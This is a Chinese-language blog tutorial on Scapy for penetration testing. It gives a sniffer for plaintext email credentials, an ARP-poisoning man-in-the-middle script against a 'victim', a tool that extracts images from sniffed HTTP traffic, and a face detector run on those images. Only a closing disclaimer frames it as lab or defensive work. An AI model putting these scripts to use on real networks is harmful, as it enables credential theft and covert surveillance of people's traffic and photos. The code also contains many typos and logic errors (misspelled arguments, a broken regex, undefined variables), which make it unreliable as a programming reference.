python滲透測試入門——Scapy庫

yaolingyu1發表於2023-03-13

Scapy 是一個用來解析底層網路資料包的Python模組和互動式程式,該程式對底層包處理進行了抽象打包,使得對網路資料包的處理非常簡便。該類庫可以在在網路安全領域有非常廣泛用例,可用於漏洞利用開發、資料洩露、網路監聽、入侵檢測和流量的分析捕獲的。Scapy與資料視覺化和報告生成整合,可以方便展示起結果和資料。

我們會先簡單嘗試一下,用Scapy嗅探流量,從中竊取明文的郵箱身份憑證。然後對網路中的攻擊目標進行ARP投毒,以此嗅探它們的網路流量。最後,我們會演示如何藉助Scapy的pcap資料處理能力,從嗅探到的HTTP流量中提取圖片,並運用面部識別演算法來判斷其是否為人像照片。

竊取郵箱身份憑證:

Scapy提供了一個名字簡明扼要的介面函式sniff,它的定義是這樣的:

sniff(filter = " ", iface = "any", prn = function, count = N)

filter引數允許你指定一個Berkeley資料包過濾器(Berkeley Packet Filter,BPF),用於過濾Scapy嗅探到的資料包,也可以將此引數留空,表示要嗅探所有的資料包。

iface引數用於指定嗅探器要嗅探的網路卡,如果不設定的話,預設會嗅探所有網路卡。prn引數用於指定一個回撥函式,每當遇到符合過濾條件的資料包時,嗅探器就會將該資料包傳給這個回撥函式,這是該函式接受的唯一引數。count引數可以用來指定你想嗅探多少包,如果留空的話,Scapy就會一直嗅探下去。

mail_sniffer.py:

from scapy.all import sniff

def packet_callback(packet):
    print(packet.show())

def main():
    sniff(pro=packet_callback, count=1)

if __name__ == '__main__':
    main()

在這個簡單的嗅探器中,它只會嗅探郵箱協議相關的命令。

接下來我們將新增過濾器和回撥函式程式碼,有針對性地捕獲和郵箱賬號認證相關的資料。

首先,我們將設定一個包過濾器,確保嗅探器只展示我們感興趣的包。我們會使用BPF語法(也被稱為Wireshark風格的語法)來編寫過濾器。你可能會在tcpdump、Wireshark等工具中用到這種語法。先來講一下基本的BPF語法。在BPF語法中,可以使用三種型別的資訊:描述詞(比如一個具體的主機地址、網路卡名稱或埠號)、資料流方向和通訊協議,如圖所示。你可以根據自己想找的資料,自由地新增或省略某個型別、方向或協議。

 我們先寫一個BPF:

from scapy.all import sniff, TCP, IP

#the packet callback
def packet_callback(packet):
    if packet[TCP].payload:
        mypacket = str(packet[TCP].paylaod)
        if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
            print(f"[*] Destination: {packet[IP].dst}")
            print(f"[*] {str(packet[TCP].payload)}")


def main():
    #fire up the sniffer
    sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',prn=packet_callback, store=0)
#監聽郵件協議常用埠
#新引數store,把它設為0以後,Scapy就不會將任何資料包保留在記憶體裡
if __name__ == '__main__': main()

ARP投毒攻擊:

邏輯:欺騙目標裝置,使其相信我們是它的閘道器;然後欺騙閘道器,告訴它要發給目標裝置的所有流量必須交給我們轉發。網路上的每一臺裝置,都維護著一段ARP快取,裡面記錄著最近一段時間本地網路上的MAC地址和IP地址的對應關係。為了實現這一攻擊,我們會往這些ARP快取中投毒,即在快取中插入我們編造的記錄。

注意實驗的目標機為mac

arper.py:

from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr, send, sniff, sndrcv, srp, wrpcap)
import os
import sys
import time

def get_mac(targetip):
    packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
    resp, _= srp(packet, timeout=2, retry=10, verbose=False)
    for _, r in resp:
        return r[Ether].src
    return None
    
class Arper:
    def __init__(self, victim, gateway, interface='en0'):
        self.victim = victim
        self.victimmac = get_mac(victim)
        self.gateway = gateway
        self.gatewaymac = get_mac(gateway)
        self.interface = interface
        conf.iface = interface
        conf.verb = 0

        print(f'Initialized {interface}:')
        print(f'Gateway ({gateway}) is at {self.gateway}')
        print(f'Victim ({victim}) is at {self.gatewaymac}')
        print('_'*30)
    
    def run(self):
        self.poison_thread = Process(target=self.poison)
        self.poison_thread.start()

        self.sniff_thread = Process(target=self.sniff)
        self.sniff_thread.start()

    def poison(self):
        poison_victim = ARP()
        poison_victim.op = 2
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victimmac
        print(f'ip src: {poison_victim.psrc}')
        print(f'ip dst: {poison_victim.pdst}')
        print(f'mac dst: {poison_victim.hwdst}')
        print(f'mac src: {poison_victim.hwsrc}')
        print(poison_victim.summary())
        print('_'*30)
        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = self,victim 
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gatewaymac

        print(f'ip src: {poison_gateway.psrc}')
        print(f'ip dst: {poison_gateway.pdst}')
        print(f'mac dst: {poison_gateway.hwdst}')
        print(f'mac_src: {poison_gateway.hwsrc}')
        print(poison_gateway.summary())
        print('_'*30)
        print(f'Beginning the ARP poison. [CTRL -C to stop]')
        while True:
            sys.stdout.write('.')
            sys.stdout.flush()
            try:
                send(poison_victim)
                send(poison_gateway)
            except KeyboardInterrupt:
                self.restore()
                sys.exit()
            else:
                time.sleep(2)


    def sniff(self, count=200):
        time.sleep(5)
        print(f'Sniffing {count} packets')
        bpf_filter = "ip host %s" % victim
        packets = sniff(count=count, filter=bpf_filter, ifcae=self.interface)
        wrpcap('arper.pcap', packets)
        print('Got the packets')
        self.restore()
        self.poison_thread.terminate()
        print('Finished')

    def restore(self):
        print('Restoring ARP tables...')
        send(ARP(
            op=2,
            psrc=self.gateway,
            hwsrc=self.gatewaymac,
            pdst=self.victim,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5)
        send(ARP(
            op=2,
            psrc=self.victim,
            hwsrc=self.victimmac,
            pdst=self.gateway,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5)
                

if __name__ == '__main__':
    (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
    myarp = Arper(victim, gateway, interface)
    myarp.run()

pcap檔案處理:

recapper.py:

from scapy.all import TCP, rdpcap
import collections
import os
import re
import sys
import zlib

OUTDIR = '/root/Desktop/pictures'
PCAPS = '/root/Downloads'

Response = collections.namedtuple('Response', ['header','payload'])

def get_header(payload):
    try:
        header_raw = payload[:payload.index(b'\r\n\r\n')+2]
    except ValueError:
        sys.stdout.write('_')
        sys.stdout.flush()
        return None
    
    header = dict(re.findall(r'?P<name>.*?): (?P<value>.*?)\r\n', header_raw.decode()))
    if 'Content-Type' not in header:
        return None
    return header

def extract_content(Response, content_name='image'):
    content, content_type = None, None
    if content_name in Response.header['Content-Type']:
        content_type = Response.header['Content-Type'].split('/')[1]
        content = Response.payload[Response.payload.index(b'\r\n\r\n')+4:]

        if 'Content-Encoding' in Response.header:
            if Response.header['Content-Encoding'] == "gzip":
                content = zlib.decompress(Response.payload, zlib.MAX_wbits | 32)
            elif Response.header['Content-Encoding'] == "deflate":
                content = zlib.decompress(Response.payload) 
    
    return content, content_type

class Recapper:
    def __init__(self, fname):
        pcap = rdpcap(fname)
        self.session = pcap.session()
        self.responses = list()

    def get_responses(self):
        for session in self.session:
            payload = b''
            for packet in self.session[session]:
                try:
                    if packet[TCP].dport == 80 or packet[TCP].sport == 80:
                        payload += bytes(packet[TCP].payload)
                except IndexError:
                    sys.stdout.write('x')
                    sys.stdout.flush()
        
            if payload:
                header = get_header(payload)
                if header is None:
                    continue
            self.responses.append(Response(header=header, payload=payload))
    def write(self, content_name):
        for i, response in enumerate(self.responses):
            content, content_type = extract_content(response, content_name)
            if content and content_type:
                fname = os.path.join(OUTDIR, f'ex_{i}.{content_type}')
                print(f'Writing {fname}')
                with open(fname, 'wb') as f:
                    f.write(content)

if __name__ == '__main__':
    pfile = os.path.join(PCAPS, 'pcap.pcap')
    recapper = Recapper(pfile)
    recapper.get_responses()
    recapper.write('image')

如果我們得到了一張圖片,那麼我們就要對這張圖片進行分析,檢查每張圖片來確認裡面是否存在人臉。對每張含有人臉的圖片,我們會在人臉周圍畫一個方框,然後另存為一張新圖片。

detector.py:

import cv2
import os

ROOT = '/root/Desktop/pictures'
FACES = '/root/Desktop/faces'
TRAIN = '/root/Desktop/training'

def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN):
    for fname in os.listdir(srcdir):
        if not fname.upper().endswith('.JPG'):
            continue
        fullname = os.path.join(srcdir, fname)

        newname = os.path.join(tgtdir, fname)
        img = cv2.imread(fullname)
        if img is None:
            continue

        gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
        training = os.path.join(train_dir, 'haarcascade_frontalface_alt.xml')
        cascade = cv2.CascadeClassifier(training)
        rects = cascade.detectMultiScale(gray, 1.3,5)
        try:
            if rects.any():
                print('Got a face')
                rects[:, 2:] += rects[:, :2]
        except AttributeError:
            print(f'No faces fount in {fname}')
            continue

        # highlight the faces in the image
        for x1, y1, x2, y2 in rects:
            cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2)
        cv2.imwrite(newname, img)

if name == '__main__':
    detect()

到這裡,我們的實驗目標已經完成。對於其中的指令碼我們可以擴充套件更多的內容,請大家自行發揮。

 

本人所有文章均為技術分享,均用於防禦為目的的記錄,所有操作均在實驗環境下進行,請勿用於其他用途,否則後果自負。

 

相關文章